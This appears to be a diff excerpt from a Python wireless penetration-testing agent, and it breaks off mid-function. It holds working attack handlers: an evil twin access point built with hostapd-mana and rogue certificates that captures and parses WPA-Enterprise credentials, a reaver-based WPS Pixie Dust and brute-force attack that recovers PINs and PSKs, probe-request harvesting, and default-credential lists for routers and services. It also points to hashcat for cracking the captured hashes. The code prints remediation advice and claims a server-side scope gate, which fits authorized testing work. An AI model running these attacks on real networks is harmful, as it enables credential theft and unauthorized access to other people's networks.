def execute_eap_test(client: AegisNodeClient, job: dict):
|
|
1715
|
+
"""Probe WPA-Enterprise AP for supported EAP types and misconfigurations.
|
|
1716
|
+
|
|
1717
|
+
Uses wpa_supplicant identity probes to enumerate EAP methods, then
|
|
1718
|
+
analyses for known weaknesses (no cert pinning, weak inner methods,
|
|
1719
|
+
plaintext credential methods).
|
|
1720
|
+
"""
|
|
1721
|
+
jid = job['job_id']
|
|
1722
|
+
targets = job.get('targets', {})
|
|
1723
|
+
target_bssid = targets.get('bssid', '')
|
|
1724
|
+
target_ssid = targets.get('ssid', '')
|
|
1725
|
+
params = job.get('parameters', {})
|
|
1726
|
+
iface = params.get('interface', 'wlan0')
|
|
1727
|
+
buf = OutputBuffer(client, jid)
|
|
1728
|
+
|
|
1729
|
+
buf.write('=' * 60 + '\n')
|
|
1730
|
+
buf.write('[*] WPA ENTERPRISE EAP PROBE\n')
|
|
1731
|
+
buf.write(f' Target: {target_ssid} ({target_bssid})\n')
|
|
1732
|
+
buf.write('=' * 60 + '\n\n')
|
|
1733
|
+
|
|
1734
|
+
detected_eap = []
|
|
1735
|
+
vulnerabilities = []
|
|
1736
|
+
cert_info = {}
|
|
1737
|
+
|
|
1738
|
+
# Step 1: Attempt EAP-Identity probe with wpa_supplicant
|
|
1739
|
+
buf.write('[*] Phase 1: EAP type enumeration via identity probe\n')
|
|
1740
|
+
for eap_num, eap_name in sorted(EAP_TYPES.items()):
|
|
1741
|
+
conf = f'/tmp/aegis_eap_{jid}_{eap_num}.conf'
|
|
1742
|
+
try:
|
|
1743
|
+
with open(conf, 'w') as f:
|
|
1744
|
+
f.write(f'network={{\n ssid="{target_ssid}"\n key_mgmt=WPA-EAP\n'
|
|
1745
|
+
f' eap={eap_name.split("-")[0].upper()}\n identity="probe"\n'
|
|
1746
|
+
f' password="probe"\n phase2="auth=MSCHAPV2"\n}}\n')
|
|
1747
|
+
code, out = _exec_cmd(
|
|
1748
|
+
buf,
|
|
1749
|
+
['timeout', '8', 'wpa_supplicant', '-i', iface, '-c', conf,
|
|
1750
|
+
'-D', 'nl80211', '-B'],
|
|
1751
|
+
timeout=12, sudo=True,
|
|
1752
|
+
)
|
|
1753
|
+
# Check wpa_supplicant log for EAP response
|
|
1754
|
+
time.sleep(2)
|
|
1755
|
+
_, log_out = _run_quiet(
|
|
1756
|
+
['journalctl', '-u', 'wpa_supplicant', '--since', '10 seconds ago',
|
|
1757
|
+
'--no-pager', '-q'],
|
|
1758
|
+
timeout=5,
|
|
1759
|
+
)
|
|
1760
|
+
if f'EAP-{eap_name}' in log_out or f'type {eap_num}' in log_out.lower():
|
|
1761
|
+
detected_eap.append(eap_name)
|
|
1762
|
+
buf.write(f' [+] EAP-{eap_name} (type {eap_num}) ACCEPTED\n')
|
|
1763
|
+
if eap_num in EAP_WEAKNESSES:
|
|
1764
|
+
vulnerabilities.append(EAP_WEAKNESSES[eap_num])
|
|
1765
|
+
buf.write(f' ⚠ {EAP_WEAKNESSES[eap_num]}\n')
|
|
1766
|
+
_run_quiet(['killall', '-9', 'wpa_supplicant'], timeout=3)
|
|
1767
|
+
except Exception as e:
|
|
1768
|
+
buf.write(f' [-] Probe for {eap_name} failed: {e}\n')
|
|
1769
|
+
finally:
|
|
1770
|
+
if os.path.exists(conf):
|
|
1771
|
+
os.unlink(conf)
|
|
1772
|
+
|
|
1773
|
+
# Step 2: Certificate analysis if PEAP/TTLS detected
|
|
1774
|
+
if any(e in detected_eap for e in ('PEAP', 'TTLS', 'TLS')):
|
|
1775
|
+
buf.write('\n[*] Phase 2: Server certificate analysis\n')
|
|
1776
|
+
cert_conf = f'/tmp/aegis_cert_{jid}.conf'
|
|
1777
|
+
cert_file = f'/tmp/aegis_cert_{jid}.pem'
|
|
1778
|
+
try:
|
|
1779
|
+
with open(cert_conf, 'w') as f:
|
|
1780
|
+
f.write(f'network={{\n ssid="{target_ssid}"\n key_mgmt=WPA-EAP\n'
|
|
1781
|
+
f' eap=PEAP\n identity="certprobe"\n password="certprobe"\n'
|
|
1782
|
+
f' phase2="auth=MSCHAPV2"\n}}\n')
|
|
1783
|
+
code, out = _exec_cmd(
|
|
1784
|
+
buf,
|
|
1785
|
+
['timeout', '10', 'wpa_supplicant', '-i', iface, '-c', cert_conf,
|
|
1786
|
+
'-D', 'nl80211'],
|
|
1787
|
+
timeout=15, sudo=True,
|
|
1788
|
+
)
|
|
1789
|
+
# Parse certificate details from output
|
|
1790
|
+
cn_match = re.search(r'subject.*?CN\s*=\s*([^\n/,]+)', out, re.I)
|
|
1791
|
+
issuer_match = re.search(r'issuer.*?CN\s*=\s*([^\n/,]+)', out, re.I)
|
|
1792
|
+
if cn_match:
|
|
1793
|
+
cert_info['cn'] = cn_match.group(1).strip()
|
|
1794
|
+
buf.write(f' Certificate CN: {cert_info["cn"]}\n')
|
|
1795
|
+
if issuer_match:
|
|
1796
|
+
cert_info['issuer'] = issuer_match.group(1).strip()
|
|
1797
|
+
buf.write(f' Issuer: {cert_info["issuer"]}\n')
|
|
1798
|
+
if 'self-signed' in out.lower() or 'SELF_SIGNED' in out:
|
|
1799
|
+
cert_info['self_signed'] = True
|
|
1800
|
+
vulnerabilities.append('Server certificate is self-signed — evil twin trivial')
|
|
1801
|
+
buf.write(' ⚠ SELF-SIGNED certificate detected\n')
|
|
1802
|
+
_run_quiet(['killall', '-9', 'wpa_supplicant'], timeout=3)
|
|
1803
|
+
except Exception as e:
|
|
1804
|
+
buf.write(f' [-] Certificate probe failed: {e}\n')
|
|
1805
|
+
finally:
|
|
1806
|
+
for f_path in (cert_conf, cert_file):
|
|
1807
|
+
if os.path.exists(f_path):
|
|
1808
|
+
os.unlink(f_path)
|
|
1809
|
+
|
|
1810
|
+
# Step 3: Summary + remediation
|
|
1811
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
1812
|
+
if detected_eap:
|
|
1813
|
+
buf.write(f'[+] Detected EAP types: {", ".join(detected_eap)}\n')
|
|
1814
|
+
else:
|
|
1815
|
+
buf.write('[-] No EAP types detected (AP may not be WPA-Enterprise)\n')
|
|
1816
|
+
if vulnerabilities:
|
|
1817
|
+
buf.write(f'[!] {len(vulnerabilities)} weakness(es) found:\n')
|
|
1818
|
+
for v in vulnerabilities:
|
|
1819
|
+
buf.write(f' • {v}\n')
|
|
1820
|
+
buf.write('\n[*] Remediation:\n')
|
|
1821
|
+
buf.write(' - Enforce EAP-TLS with mutual certificate authentication\n')
|
|
1822
|
+
buf.write(' - Disable legacy methods (MD5, GTC, LEAP)\n')
|
|
1823
|
+
buf.write(' - Pin the RADIUS server certificate on all clients\n')
|
|
1824
|
+
buf.write(' - Use WPA3-Enterprise (192-bit) where possible\n')
|
|
1825
|
+
buf.write('=' * 60 + '\n')
|
|
1826
|
+
buf.flush()
|
|
1827
|
+
|
|
1828
|
+
client.send_result(jid, {
|
|
1829
|
+
'eap_types': detected_eap,
|
|
1830
|
+
'eap_vulnerabilities': vulnerabilities,
|
|
1831
|
+
'certificate': cert_info,
|
|
1832
|
+
'target_bssid': target_bssid,
|
|
1833
|
+
'target_ssid': target_ssid,
|
|
1834
|
+
})
|
|
1835
|
+
|
|
1836
|
+
|
|
1837
|
+
HOSTAPD_MANA_CONF = """interface={iface}
|
|
1838
|
+
driver=nl80211
|
|
1839
|
+
ssid={ssid}
|
|
1840
|
+
channel={channel}
|
|
1841
|
+
hw_mode=g
|
|
1842
|
+
ieee80211n=1
|
|
1843
|
+
wpa=2
|
|
1844
|
+
wpa_key_mgmt=WPA-EAP
|
|
1845
|
+
ieee8021x=1
|
|
1846
|
+
eap_server=1
|
|
1847
|
+
eap_user_file=/tmp/aegis_et_{jid}_users
|
|
1848
|
+
ca_cert=/tmp/aegis_et_{jid}_ca.pem
|
|
1849
|
+
server_cert=/tmp/aegis_et_{jid}_srv.pem
|
|
1850
|
+
private_key=/tmp/aegis_et_{jid}_srv.key
|
|
1851
|
+
mana_wpe=1
|
|
1852
|
+
mana_credout=/tmp/aegis_et_{jid}_creds.txt
|
|
1853
|
+
"""
|
|
1854
|
+
|
|
1855
|
+
MANA_EAP_USERS = """* PEAP,TTLS,TLS,FAST
|
|
1856
|
+
"t" TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC "password" [2]
|
|
1857
|
+
"""
|
|
1858
|
+
|
|
1859
|
+
|
|
1860
|
+
def execute_evil_twin(client: AegisNodeClient, job: dict):
|
|
1861
|
+
"""Deploy an evil twin AP to capture WPA-Enterprise credentials.
|
|
1862
|
+
|
|
1863
|
+
Uses hostapd-mana to impersonate the target AP. This is the most
|
|
1864
|
+
aggressive wireless technique — it broadcasts a fake AP that reaches
|
|
1865
|
+
every client in range. Only runs with explicit evil_twin_allowed.
|
|
1866
|
+
|
|
1867
|
+
The scope gate is enforced server-side; this handler trusts it.
|
|
1868
|
+
"""
|
|
1869
|
+
jid = job['job_id']
|
|
1870
|
+
targets = job.get('targets', {})
|
|
1871
|
+
target_bssid = targets.get('bssid', '')
|
|
1872
|
+
target_ssid = targets.get('ssid', '')
|
|
1873
|
+
channel = targets.get('channel', 6)
|
|
1874
|
+
params = job.get('parameters', {})
|
|
1875
|
+
iface = params.get('interface', 'wlan0')
|
|
1876
|
+
duration = params.get('duration', 120)
|
|
1877
|
+
buf = OutputBuffer(client, jid)
|
|
1878
|
+
|
|
1879
|
+
buf.write('=' * 60 + '\n')
|
|
1880
|
+
buf.write('[*] EVIL TWIN AP DEPLOYMENT\n')
|
|
1881
|
+
buf.write(f' Target SSID: {target_ssid}\n')
|
|
1882
|
+
buf.write(f' Target BSSID: {target_bssid}\n')
|
|
1883
|
+
buf.write(f' Channel: {channel}\n')
|
|
1884
|
+
buf.write(f' Duration: {duration}s\n')
|
|
1885
|
+
buf.write('[!] SCOPE-GATED: evil_twin_allowed=True required\n')
|
|
1886
|
+
buf.write('=' * 60 + '\n\n')
|
|
1887
|
+
|
|
1888
|
+
cred_file = f'/tmp/aegis_et_{jid}_creds.txt'
|
|
1889
|
+
conf_file = f'/tmp/aegis_et_{jid}.conf'
|
|
1890
|
+
users_file = f'/tmp/aegis_et_{jid}_users'
|
|
1891
|
+
cert_prefix = f'/tmp/aegis_et_{jid}'
|
|
1892
|
+
|
|
1893
|
+
# Step 1: Generate self-signed certs for the fake RADIUS
|
|
1894
|
+
buf.write('[*] Phase 1: Generating rogue certificates...\n')
|
|
1895
|
+
for ext, args in [
|
|
1896
|
+
('_ca.key', ['-genrsa', '-out', f'{cert_prefix}_ca.key', '2048']),
|
|
1897
|
+
('_ca.pem', ['-req', '-new', '-x509', '-key', f'{cert_prefix}_ca.key',
|
|
1898
|
+
'-out', f'{cert_prefix}_ca.pem', '-days', '1',
|
|
1899
|
+
'-subj', f'/CN=Aegis-ET-{jid}']),
|
|
1900
|
+
('_srv.key', ['-genrsa', '-out', f'{cert_prefix}_srv.key', '2048']),
|
|
1901
|
+
]:
|
|
1902
|
+
code, out = _run_quiet(['openssl'] + args, timeout=10)
|
|
1903
|
+
if code != 0:
|
|
1904
|
+
client.send_error(jid, f'Certificate generation failed: {out[:200]}')
|
|
1905
|
+
return
|
|
1906
|
+
|
|
1907
|
+
# Server CSR + sign
|
|
1908
|
+
code, _ = _run_quiet(['openssl', 'req', '-new', '-key', f'{cert_prefix}_srv.key',
|
|
1909
|
+
'-out', f'{cert_prefix}_srv.csr',
|
|
1910
|
+
'-subj', f'/CN={target_ssid}'], timeout=10)
|
|
1911
|
+
code, _ = _run_quiet(['openssl', 'x509', '-req', '-in', f'{cert_prefix}_srv.csr',
|
|
1912
|
+
'-CA', f'{cert_prefix}_ca.pem', '-CAkey', f'{cert_prefix}_ca.key',
|
|
1913
|
+
'-CAcreateserial', '-out', f'{cert_prefix}_srv.pem',
|
|
1914
|
+
'-days', '1'], timeout=10)
|
|
1915
|
+
buf.write(' [+] Rogue certificates ready\n')
|
|
1916
|
+
|
|
1917
|
+
# Step 2: Write hostapd-mana config
|
|
1918
|
+
buf.write('[*] Phase 2: Configuring hostapd-mana...\n')
|
|
1919
|
+
with open(users_file, 'w') as f:
|
|
1920
|
+
f.write(MANA_EAP_USERS)
|
|
1921
|
+
conf_content = HOSTAPD_MANA_CONF.format(
|
|
1922
|
+
iface=iface, ssid=target_ssid, channel=channel, jid=jid,
|
|
1923
|
+
)
|
|
1924
|
+
with open(conf_file, 'w') as f:
|
|
1925
|
+
f.write(conf_content)
|
|
1926
|
+
|
|
1927
|
+
# Step 3: Enter monitor mode and set channel
|
|
1928
|
+
buf.write('[*] Phase 3: Preparing interface...\n')
|
|
1929
|
+
_enter_monitor_mode(iface, buf)
|
|
1930
|
+
|
|
1931
|
+
# Step 4: Launch hostapd-mana
|
|
1932
|
+
buf.write(f'[*] Phase 4: Launching evil twin for {duration}s...\n')
|
|
1933
|
+
has_mana, _ = _run_quiet(['which', 'hostapd-mana'])
|
|
1934
|
+
hostapd_bin = 'hostapd-mana' if has_mana == 0 else 'hostapd'
|
|
1935
|
+
|
|
1936
|
+
try:
|
|
1937
|
+
proc = subprocess.Popen(
|
|
1938
|
+
['sudo', hostapd_bin, conf_file],
|
|
1939
|
+
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
|
|
1940
|
+
text=True,
|
|
1941
|
+
)
|
|
1942
|
+
start = time.time()
|
|
1943
|
+
while time.time() - start < duration:
|
|
1944
|
+
line = ''
|
|
1945
|
+
try:
|
|
1946
|
+
line = proc.stdout.readline()
|
|
1947
|
+
except Exception:
|
|
1948
|
+
pass
|
|
1949
|
+
if line:
|
|
1950
|
+
buf.write(f' {line.rstrip()}\n')
|
|
1951
|
+
if 'mana_wpe' in line.lower() or 'credential' in line.lower():
|
|
1952
|
+
buf.write(' [+] *** CREDENTIAL CAPTURED ***\n')
|
|
1953
|
+
time.sleep(0.5)
|
|
1954
|
+
finally:
|
|
1955
|
+
if proc.poll() is None:
|
|
1956
|
+
_run_quiet(['sudo', 'kill', str(proc.pid)], timeout=5)
|
|
1957
|
+
proc.wait(timeout=5)
|
|
1958
|
+
_exit_monitor_mode(iface, buf)
|
|
1959
|
+
|
|
1960
|
+
# Step 5: Parse captured credentials
|
|
1961
|
+
captures = 0
|
|
1962
|
+
credential_list = []
|
|
1963
|
+
if os.path.exists(cred_file):
|
|
1964
|
+
with open(cred_file) as f:
|
|
1965
|
+
for line in f:
|
|
1966
|
+
line = line.strip()
|
|
1967
|
+
if not line or line.startswith('#'):
|
|
1968
|
+
continue
|
|
1969
|
+
captures += 1
|
|
1970
|
+
# hostapd-mana format: username:challenge:response or MSCHAPV2 hashes
|
|
1971
|
+
parts = line.split(':')
|
|
1972
|
+
cred = {'raw': line}
|
|
1973
|
+
if len(parts) >= 1:
|
|
1974
|
+
cred['username'] = parts[0]
|
|
1975
|
+
if len(parts) >= 3:
|
|
1976
|
+
cred['challenge'] = parts[1]
|
|
1977
|
+
cred['response'] = parts[2]
|
|
1978
|
+
credential_list.append(cred)
|
|
1979
|
+
buf.write(f' [+] Credential: {parts[0] if parts else "?"}\n')
|
|
1980
|
+
|
|
1981
|
+
# Step 6: Summary
|
|
1982
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
1983
|
+
if captures:
|
|
1984
|
+
buf.write(f'[+] EVIL TWIN CAPTURED {captures} credential(s)\n')
|
|
1985
|
+
buf.write('[*] MSCHAPv2 hashes can be cracked with asleap or hashcat -m 5500\n')
|
|
1986
|
+
buf.write('[*] Remediation:\n')
|
|
1987
|
+
buf.write(' - Enforce certificate pinning on ALL clients\n')
|
|
1988
|
+
buf.write(' - Deploy EAP-TLS with mutual authentication\n')
|
|
1989
|
+
buf.write(' - Enable 802.11w (Management Frame Protection)\n')
|
|
1990
|
+
buf.write(' - Train users to verify certificate prompts\n')
|
|
1991
|
+
else:
|
|
1992
|
+
buf.write('[-] No credentials captured during the observation window\n')
|
|
1993
|
+
buf.write('[*] Try extending the duration or deploying during peak hours\n')
|
|
1994
|
+
buf.write('=' * 60 + '\n')
|
|
1995
|
+
buf.flush()
|
|
1996
|
+
|
|
1997
|
+
# Cleanup temp files
|
|
1998
|
+
for pattern in (f'{cert_prefix}_*', conf_file, users_file):
|
|
1999
|
+
import glob
|
|
2000
|
+
for fp in glob.glob(pattern):
|
|
2001
|
+
try:
|
|
2002
|
+
os.unlink(fp)
|
|
2003
|
+
except OSError:
|
|
2004
|
+
pass
|
|
2005
|
+
|
|
2006
|
+
client.send_result(jid, {
|
|
2007
|
+
'evil_twin_captures': captures,
|
|
2008
|
+
'credentials': credential_list,
|
|
2009
|
+
'target_ssid': target_ssid,
|
|
2010
|
+
'target_bssid': target_bssid,
|
|
2011
|
+
'channel': channel,
|
|
2012
|
+
'duration': duration,
|
|
2013
|
+
'hostapd_binary': hostapd_bin,
|
|
2014
|
+
})
|
|
2015
|
+
|
|
2016
|
+
|
|
2017
|
+
# ── P6: Full Pentest Toolkit ──────────────────────────────────────────────
|
|
2018
|
+
|
|
2019
|
+
# Top default credentials per vendor for router_admin and default_creds
|
|
2020
|
+
ROUTER_DEFAULTS = [
|
|
2021
|
+
('admin', 'admin'), ('admin', 'password'), ('admin', ''), ('admin', '1234'),
|
|
2022
|
+
('admin', '12345'), ('root', 'root'), ('root', ''), ('user', 'user'),
|
|
2023
|
+
('admin', 'admin123'), ('cisco', 'cisco'), ('ubnt', 'ubnt'),
|
|
2024
|
+
('pi', 'raspberry'), ('admin', 'changeme'),
|
|
2025
|
+
]
|
|
2026
|
+
|
|
2027
|
+
SERVICE_DEFAULTS = {
|
|
2028
|
+
'ssh': [('root', 'root'), ('admin', 'admin'), ('pi', 'raspberry'), ('ubnt', 'ubnt')],
|
|
2029
|
+
'telnet': [('admin', 'admin'), ('root', 'root'), ('admin', '')],
|
|
2030
|
+
'ftp': [('anonymous', ''), ('admin', 'admin'), ('ftp', 'ftp')],
|
|
2031
|
+
'mysql': [('root', ''), ('root', 'root'), ('root', 'mysql')],
|
|
2032
|
+
'postgres': [('postgres', 'postgres'), ('postgres', '')],
|
|
2033
|
+
'snmp': [('public', ''), ('private', ''), ('community', '')],
|
|
2034
|
+
'http': ROUTER_DEFAULTS,
|
|
2035
|
+
}
|
|
2036
|
+
|
|
2037
|
+
HIGH_VALUE_PORTS = {
|
|
2038
|
+
22: 'SSH', 23: 'Telnet', 80: 'HTTP', 443: 'HTTPS', 445: 'SMB',
|
|
2039
|
+
3306: 'MySQL', 5432: 'PostgreSQL', 1433: 'MSSQL', 1521: 'Oracle',
|
|
2040
|
+
27017: 'MongoDB', 6379: 'Redis', 389: 'LDAP', 636: 'LDAPS',
|
|
2041
|
+
88: 'Kerberos', 8080: 'HTTP-Alt', 8443: 'HTTPS-Alt',
|
|
2042
|
+
21: 'FTP', 25: 'SMTP', 110: 'POP3', 143: 'IMAP',
|
|
2043
|
+
161: 'SNMP', 5900: 'VNC', 3389: 'RDP',
|
|
2044
|
+
104: 'DICOM', 2575: 'HL7', 502: 'Modbus', 47808: 'BACnet',
|
|
2045
|
+
554: 'RTSP', 8554: 'RTSP-Alt',
|
|
2046
|
+
}
|
|
2047
|
+
|
|
2048
|
+
|
|
2049
|
+
def execute_wps_attack(client: AegisNodeClient, job: dict):
|
|
2050
|
+
"""WPS PIN attack: Pixie Dust (seconds) then online brute force."""
|
|
2051
|
+
jid = job['job_id']
|
|
2052
|
+
targets = job.get('targets', {})
|
|
2053
|
+
target_bssid = targets.get('bssid', '')
|
|
2054
|
+
params = job.get('parameters', {})
|
|
2055
|
+
iface = params.get('interface', 'wlan0')
|
|
2056
|
+
buf = OutputBuffer(client, jid)
|
|
2057
|
+
|
|
2058
|
+
buf.write('=' * 60 + '\n')
|
|
2059
|
+
buf.write('[*] WPS PIN ATTACK\n')
|
|
2060
|
+
buf.write(f' Target: {target_bssid}\n')
|
|
2061
|
+
buf.write('=' * 60 + '\n\n')
|
|
2062
|
+
|
|
2063
|
+
mon_iface = _enter_monitor_mode(iface, buf)
|
|
2064
|
+
actual_iface = mon_iface or iface
|
|
2065
|
+
pin = ''
|
|
2066
|
+
psk = ''
|
|
2067
|
+
method = ''
|
|
2068
|
+
|
|
2069
|
+
try:
|
|
2070
|
+
# Phase 1: Check WPS status with wash
|
|
2071
|
+
buf.write('[*] Phase 1: Checking WPS status...\n')
|
|
2072
|
+
code, out = _exec_cmd(buf, ['sudo', 'wash', '-i', actual_iface, '-s', '-C'],
|
|
2073
|
+
timeout=15)
|
|
2074
|
+
if target_bssid.upper() not in out.upper():
|
|
2075
|
+
buf.write(f'[-] Target {target_bssid} WPS not detected by wash\n')
|
|
2076
|
+
|
|
2077
|
+
# Phase 2: Pixie Dust (offline, near-instant)
|
|
2078
|
+
buf.write('\n[*] Phase 2: Pixie Dust attack (offline)...\n')
|
|
2079
|
+
code, out = _exec_cmd(
|
|
2080
|
+
buf, ['sudo', 'reaver', '-i', actual_iface, '-b', target_bssid,
|
|
2081
|
+
'-K', '1', '-vv', '-N'],
|
|
2082
|
+
timeout=120,
|
|
2083
|
+
)
|
|
2084
|
+
pin_match = re.search(r"WPS PIN:\s*'?(\d{8})'?", out)
|
|
2085
|
+
psk_match = re.search(r"WPA PSK:\s*'([^']+)'", out)
|
|
2086
|
+
if pin_match:
|
|
2087
|
+
pin = pin_match.group(1)
|
|
2088
|
+
psk = psk_match.group(1) if psk_match else ''
|
|
2089
|
+
method = 'pixie_dust'
|
|
2090
|
+
buf.write(f'\n[+] PIXIE DUST SUCCESS!\n')
|
|
2091
|
+
buf.write(f' PIN: {pin}\n')
|
|
2092
|
+
if psk:
|
|
2093
|
+
buf.write(f' PSK: {psk}\n')
|
|
2094
|
+
|
|
2095
|
+
# Phase 3: Online brute force if Pixie Dust failed
|
|
2096
|
+
if not pin:
|
|
2097
|
+
buf.write('\n[*] Phase 3: Online PIN brute force...\n')
|
|
2098
|
+
buf.write(' (this may take hours — monitoring for lockout)\n')
|
|
2099
|
+
code, out = _exec_cmd(
|
|
2100
|
+
buf, ['sudo', 'reaver', '-i', actual_iface, '-b', target_bssid,
|
|
2101
|
+
'-vv', '-N', '-d', '2', '-r', '3:30'],
|
|
2102
|
+
timeout=900,
|
|
2103
|
+
)
|
|
2104
|
+
if 'rate limiting' in out.lower() or 'locked' in out.lower():
|
|
2105
|
+
buf.write('\n[!] WPS lockout detected — stopping\n')
|
|
2106
|
+
pin_match = re.search(r"WPS PIN:\s*'?(\d{8})'?", out)
|
|
2107
|
+
psk_match = re.search(r"WPA PSK:\s*'([^']+)'", out)
|
|
2108
|
+
if pin_match:
|
|
2109
|
+
pin = pin_match.group(1)
|
|
2110
|
+
psk = psk_match.group(1) if psk_match else ''
|
|
2111
|
+
method = 'brute_force'
|
|
2112
|
+
buf.write(f'\n[+] WPS BRUTE FORCE SUCCESS!\n')
|
|
2113
|
+
buf.write(f' PIN: {pin}\n')
|
|
2114
|
+
if psk:
|
|
2115
|
+
buf.write(f' PSK: {psk}\n')
|
|
2116
|
+
finally:
|
|
2117
|
+
_exit_monitor_mode(actual_iface, iface, buf)
|
|
2118
|
+
|
|
2119
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
2120
|
+
if pin:
|
|
2121
|
+
buf.write(f'[+] WPS PIN RECOVERED: {pin}\n')
|
|
2122
|
+
buf.write('[*] Remediation: DISABLE WPS immediately on all APs.\n')
|
|
2123
|
+
buf.write(' WPS bypasses password complexity entirely.\n')
|
|
2124
|
+
else:
|
|
2125
|
+
buf.write('[-] WPS attack unsuccessful (locked out or not vulnerable)\n')
|
|
2126
|
+
buf.write('=' * 60 + '\n')
|
|
2127
|
+
buf.flush()
|
|
2128
|
+
|
|
2129
|
+
client.send_result(jid, {
|
|
2130
|
+
'wps_pin': pin, 'wps_psk': psk, 'method': method,
|
|
2131
|
+
'target_bssid': target_bssid,
|
|
2132
|
+
})
|
|
2133
|
+
|
|
2134
|
+
|
|
2135
|
+
def execute_probe_harvest(client: AegisNodeClient, job: dict):
|
|
2136
|
+
"""Passive monitor-mode collection of client probe requests."""
|
|
2137
|
+
jid = job['job_id']
|
|
2138
|
+
params = job.get('parameters', {})
|
|
2139
|
+
iface = params.get('interface', 'wlan0')
|
|
2140
|
+
duration = params.get('duration', 120)
|
|
2141
|
+
buf = OutputBuffer(client, jid)
|
|
2142
|
+
|
|
2143
|
+
buf.write('=' * 60 + '\n')
|
|
2144
|
+
buf.write('[*] CLIENT PROBE REQUEST HARVEST\n')
|
|
2145
|
+
buf.write(f' Duration: {duration}s (passive monitor mode)\n')
|
|
2146
|
+
buf.write('=' * 60 + '\n\n')
|
|
2147
|
+
|
|
2148
|
+
mon_iface = _enter_monitor_mode(iface, buf)
|
|
2149
|
+
actual_iface = mon_iface or iface
|
|
2150
|
+
clients = {} # mac -> set of probed SSIDs
|
|
2151
|
+
|
|
2152
|
+
try:
|
|
2153
|
+
buf.write('[*] Capturing probe requests...\n')
|
|
2154
|
+
proc = subprocess.Popen(
|
|
2155
|
+
['sudo', 'tcpdump', '-i', actual_iface, '-e', '-l',
|
|
2156
|
+
'type', 'mgt', 'subtype', 'probe-req'],
|
|
2157
|
+
stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True,
|
|
2158
|
+
)
|
|
2159
|
+
start = time.time()
|
|
2160
|
+
while time.time() - start < duration:
|
|
2161
|
+
try:
|
|
2162
|
+
line = proc.stdout.readline()
|
|
2163
|
+
except Exception:
|
|
2164
|
+
break
|
|
2165
|
+
if not line:
|
|
2166
|
+
continue
|
|
2167
|
+
# Parse: SA:xx:xx:xx:xx:xx ... Probe Request (SSID)
|
|
2168
|
+
sa_match = re.search(r'SA:([0-9a-f:]{17})', line, re.I)
|
|
2169
|
+
ssid_match = re.search(r'Probe Request \(([^)]+)\)', line)
|
|
2170
|
+
if sa_match and ssid_match:
|
|
2171
|
+
mac = sa_match.group(1).lower()
|
|
2172
|
+
ssid = ssid_match.group(1).strip()
|
|
2173
|
+
if ssid and ssid != 'Broadcast':
|
|
2174
|
+
if mac not in clients:
|
|
2175
|
+
clients[mac] = set()
|
|
2176
|
+
clients[mac].add(ssid)
|
|
2177
|
+
buf.write(f' {mac} → "{ssid}"\n')
|
|
2178
|
+
proc.terminate()
|
|
2179
|
+
proc.wait(timeout=5)
|
|
2180
|
+
finally:
|
|
2181
|
+
_exit_monitor_mode(actual_iface, iface, buf)
|
|
2182
|
+
|
|
2183
|
+
total_clients = len(clients)
|
|
2184
|
+
total_ssids = len({s for ss in clients.values() for s in ss})
|
|
2185
|
+
serializable = {mac: sorted(ssids) for mac, ssids in clients.items()}
|
|
2186
|
+
|
|
2187
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
2188
|
+
buf.write(f'[+] {total_clients} client(s) probing {total_ssids} unique SSID(s)\n')
|
|
2189
|
+
if clients:
|
|
2190
|
+
buf.write('[!] Clients leak their network history via probe requests.\n')
|
|
2191
|
+
buf.write('[*] Remediation: Enable MAC randomization, disable auto-connect\n')
|
|
2192
|
+
buf.write(' to saved networks, remove stale saved SSIDs.\n')
|
|
2193
|
+
buf.write('=' * 60 + '\n')
|
|
2194
|
+
buf.flush()
|
|
2195
|
+
|
|
2196
|
+
client.send_result(jid, {
|
|
2197
|
+
'clients': serializable,
|
|
2198
|
+
'total_clients': total_clients,
|
|
2199
|
+
'total_unique_ssids': total_ssids,
|
|
2200
|
+
})
|
|
2201
|
+
|
|
2202
|
+
|
|
2203
|
+
def execute_encryption_audit(client: AegisNodeClient, job: dict):
|
|
2204
|
+
"""Audit encryption strength of all visible APs from scan data."""
|
|
2205
|
+
jid = job['job_id']
|
|
2206
|
+
params = job.get('parameters', {})
|
|
2207
|
+
iface = params.get('interface', 'wlan0')
|
|
2208
|
+
duration = params.get('duration', 30)
|
|
2209
|
+
buf = OutputBuffer(client, jid)
|
|
2210
|
+
|
|
2211
|
+
buf.write('=' * 60 + '\n')
|
|
2212
|
+
buf.write('[*] WIRELESS ENCRYPTION AUDIT\n')
|
|
2213
|
+
buf.write('=' * 60 + '\n\n')
|
|
2214
|
+
|
|
2215
|
+
mon_iface = _enter_monitor_mode(iface, buf)
|
|
2216
|
+
actual_iface = mon_iface or iface
|
|
2217
|
+
|
|
2218
|
+
try:
|
|
2219
|
+
csv_file = f'/tmp/aegis_audit_{jid}'
|
|
2220
|
+
buf.write('[*] Scanning all channels...\n')
|
|
2221
|
+
proc = subprocess.Popen(
|
|
2222
|
+
['sudo', 'airodump-ng', actual_iface, '-w', csv_file, '--output-format', 'csv',
|
|
2223
|
+
'--write-interval', '5'],
|
|
2224
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
|
2225
|
+
)
|
|
2226
|
+
time.sleep(duration)
|
|
2227
|
+
proc.terminate()
|
|
2228
|
+
proc.wait(timeout=10)
|
|
2229
|
+
|
|
2230
|
+
networks, _ = _parse_airodump_csv(f'{csv_file}-01.csv')
|
|
2231
|
+
finally:
|
|
2232
|
+
_exit_monitor_mode(actual_iface, iface, buf)
|
|
2233
|
+
|
|
2234
|
+
findings = []
|
|
2235
|
+
for net in networks:
|
|
2236
|
+
issues = []
|
|
2237
|
+
enc = (net.get('encryption', '') or '').upper()
|
|
2238
|
+
|
|
2239
|
+
if 'OPN' in enc or enc == '':
|
|
2240
|
+
issues.append(('CRITICAL', 'Open network — no encryption'))
|
|
2241
|
+
elif 'WEP' in enc:
|
|
2242
|
+
issues.append(('CRITICAL', 'WEP — trivially crackable in minutes'))
|
|
2243
|
+
elif 'WPA' in enc and 'WPA2' not in enc and 'WPA3' not in enc:
|
|
2244
|
+
issues.append(('HIGH', 'WPA1 only — TKIP is deprecated and crackable'))
|
|
2245
|
+
if 'TKIP' in enc:
|
|
2246
|
+
issues.append(('MEDIUM', 'TKIP cipher — deprecated, use CCMP/AES'))
|
|
2247
